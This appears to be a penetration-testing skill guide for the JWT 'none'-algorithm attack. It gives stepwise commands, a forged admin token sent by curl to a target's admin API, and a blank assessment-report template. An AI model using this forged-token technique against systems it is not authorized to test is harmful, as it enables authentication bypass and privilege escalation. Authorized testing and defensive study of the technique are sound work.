Exploit JSON Web Tokens (JWT) by implementing the 'None' algorithm attack. This skill details how to bypass authentication mechanisms when a server improperly accepts JWTs with the `alg` header set to `none`, allowing attackers to forge tokens without a valid signature.
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Intercept a valid request containing your JWT (usually in the Authorization: Bearer <token> header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: Header.Payload.Signature.
# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}
Change the alg value in the header. Servers might accept variations of the string "none".
// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"
Re-encode this modified header to Base64-URL format (ensure no padding =).
Modify the payload to elevate privileges or impersonate another user.
// {"sub": "admin", "iat": 1516239022, "admin": true}
Re-encode the modified payload to Base64-URL format.
Combine the new header and payload, appending a trailing dot, but remove the signature completely.
# [Base64_Header_None].[Base64_Payload_Admin].
Send the request with the new token via Burp Suite or curl.
# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin
flowchart TD
A[Capture JWT ] --> B[Decode Header & Payload ]
B --> C[Change alg to 'none' ]
C --> D[Modify Payload ]
D --> E[Re-encode (No Signature) ]
E --> F{Bypass Successful? ]}
F -->|Yes| G[Privilege Escalated ]
F -->|No| H[Try other JWT attacks ]
Jwt Null Signature — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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